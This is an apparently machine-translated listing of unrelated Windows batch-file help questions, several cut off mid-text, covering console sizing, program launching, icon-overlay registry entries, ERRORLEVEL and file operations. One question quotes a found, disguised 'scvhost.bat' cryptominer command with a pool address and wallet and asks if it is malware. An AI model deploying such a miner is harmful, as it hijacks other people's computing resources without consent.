我要启动的应用程序是 MongoDB。如果我正常启动它,它看起来像这样:

我不喜欢换行符的数量,而且我有很多屏幕空间,所以我想利用所说的空间来摆脱换行符。
我可以用 改变控制台窗口的大小MODE,所以我写了一个这样的批处理文件:
@ECHO OFF
MODE con:cols=140 lines=70
%~dp0mongodb\bin\mongod --dbpath %~dp0data --rest
Run Code Online (Sandbox Code Playgroud)
到现在为止还挺好。当我启动这个批处理文件时,我会根据需要得到一个更大的窗口。
但是当我现在按Ctrl+C退出 MongoDB 时,我收到了烦人的提示:
Terminate batch job (Y/N)?
Run Code Online (Sandbox Code Playgroud)
这是没用的,因为我刚刚退出的命令无论如何都是批处理作业中的最后一个命令,无论我回答什么,结果都是一样的。
那么,当我点击Ctrl+时,如何在没有提示的情况下为应用程序获得更大的控制台窗口C?
我想出了下面的批处理文件,它工作得很好。但是,我想知道是否有一种方法可以对其进行编码,以便如果某个程序已经在运行,它会跳过它并启动下一个。我希望这是有道理的。任何建议将不胜感激。
@echo off
pushd
start "" cmd /c cscript "C:\Users\User\Desktop\Work.vbs"
start "C:\Program Files\Microsoft Office\Office15" Outlook.exe
start "C:\Program Files\Microsoft Office\Office15" Lync.exe
start "C:\Program Files (x86)\Google\Chrome\Application" chrome.exe
runas /savecred /user:"DOMAIN\User_Adm" "C:\Program Files (x86)\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe"
runas /savecred /user:"DOMAIN\User_Adm" "mmc.exe \"My_Tools.msc\"
Run Code Online (Sandbox Code Playgroud) 几个程序修改 explorere 中的图标以指示状态(“同步”
等等。)
众所周知,Windows(win7、win8、win10?)只能处理有限数量的此类图标(~15),并且有几个相关问题(fe here)。
这些覆盖图标在分支的注册表中注册:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers
实际上只使用了前几个条目(15?),其他条目被忽略。因此,让多个程序安装自己的覆盖图标可能会破坏已安装程序的行为。
要解决此问题,通常必须进入注册表并删除(或重命名)不需要的条目,直到需要的条目位于顶部。
最近,我注意到几个程序在争夺这些最高职位的行为越来越“咄咄逼人”。这通常是通过使用以空格字符开头的键名来执行顶部排序来完成的。 例如,Dropbox、GoogleDrive、SkyDrive和OneDrive都在这样做。有些,比如现在的GoogleDrive甚至使用三个空格,但其他程序正在变得平等......
更糟糕的是,某些程序甚至会在任何自动“更新”(甚至更新检查或程序启动?)期间自动修复此设置。因此,任何手动调整都会定期撤消。我至少在GoogleDrive、Dropbox和OneDrive 上注意到了这一点
有没有办法“保护”注册表免受此类自动更改的影响?
Alexey Ivanov 在下面的评论中给出了一个很好的建议,到目前为止“撤销注册表权限”已经为我抑制了这个问题。
我有一台运行异常的 Server 2012 R2 标准 64 位虚拟机。Bat 文件工作正常,CMD 窗口正常关闭;但是如果在执行 bat 文件期间关闭了包含 bat 文件的文件夹,它将完成但 CMD 窗口不会关闭。我已经将其简化为拥有最简单的 bat 文件。它包含 1 行。暂停
这仅发生在一台机器上。有人知道为什么会这样吗?这是一个测试虚拟机,也许应该重建,但它让我很好奇。谢谢
我用包含以下内容的文件替换了我的简单 bat 文件:
@assoc .bat
@for /F "tokens=1,* delims==" %%G in ('assoc .bat') do @ftype %%H
@reg query "HKLM\Software\Microsoft\Command Processor" /v AutoRun 2>NUL
@reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun 2>NUL
@wmic process where "caption = 'cmd.exe'" get CommandLine, ParentProcessId, ProcessID
@echo please close …Run Code Online (Sandbox Code Playgroud) 我刚刚找到了这个名为 scvhost.bat 的 .bat 文件。该文件中有以下内容:
scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02
Run Code Online (Sandbox Code Playgroud)
这是病毒(窃取信息等)还是种植矿工?我很担心,因为我也涉足加密货币,并且stratum是上述文件中提到的货币。
我有一个批处理文件,它是安装程序的包装器。该批处理文件检查安装程序返回的错误级别并进行相应的打印。
我注意到,如果我set ERRORLEVEL=0在启动批处理文件(在同一命令窗口/环境中)之前在命令提示符下执行,安装程序永远不会弄乱错误级别,我的批处理脚本总是返回通过。我假设%ERRORLEVEL%是一个由 Windows 定义的变量,专门用于打印程序和脚本中的错误,并且在批处理文件或其他东西中使用该变量将“自担风险”,因为它可以随时更改另一个过程。
从表面上看,当我在给定环境中设置 errorlevel 时,它会以某种方式终止使用 errorlevel 作为退出代码的持有者。有人知道为什么是这样吗?对我来说,这只是奇怪的意外行为。任何有关该主题的信息将不胜感激!
有谁知道移动具有从命令行或批处理文件设置的隐藏、系统或只读属性的文件和文件夹的方法吗?(不,首先剥离属性不是一个选项,因为没有实用的方法来知道设置了哪些属性以便在移动后重新设置它们。)
可能的重复:
任何用于连接多个文件的命令行或批处理 cmd?
我有超过一千个文本文件,我想将它们合并到一个文本文件中,有没有办法自动执行此操作?
我正在尝试使用 ffmpeg 批量转换 20 多个 .avi 文件。
我有以下内容
@echo off.
for file in *.avi
do
ffmpeg -i "$file" -s 640x480 -vcodec msmpeg4v2 "'basename "$file" .avi'.mpg';
done
Run Code Online (Sandbox Code Playgroud)
在我的 .bat 文件中,但它不起作用。我怎样才能让它在 Windows 操作系统下工作。哦,是的,所有文件都在同一个文件夹中。
我得到的错误信息:
此时文件意外
我通常会打开父文件夹并搜索*以选择子文件夹中的所有文件,但在这种情况下,我需要整理超过 1,000,000 个文件,因此我的资源管理器在尝试复制这么多文件时经常崩溃通过图形用户界面。我不确定通过命令提示符或批处理文件这样做会更有效,但我想值得一试。
我需要做的是让它这样
|parent
| |123
| | 123abc.png
| |456
| | 456def.png
| |789
| | 789ghi.png
Run Code Online (Sandbox Code Playgroud)
变成
|parent
| 123abc.png
| 456def.png
| 789ghi.png
Run Code Online (Sandbox Code Playgroud)
是的,我的实际文件结构具有指定给文件夹名称的文件名的前 3 个字符,如果这有助于对它们进行排序的话。
batch-file ×10
windows ×8
command-line ×4
cmd.exe ×1
conversion ×1
cryptomining ×1
ffmpeg ×1
icons ×1
malware ×1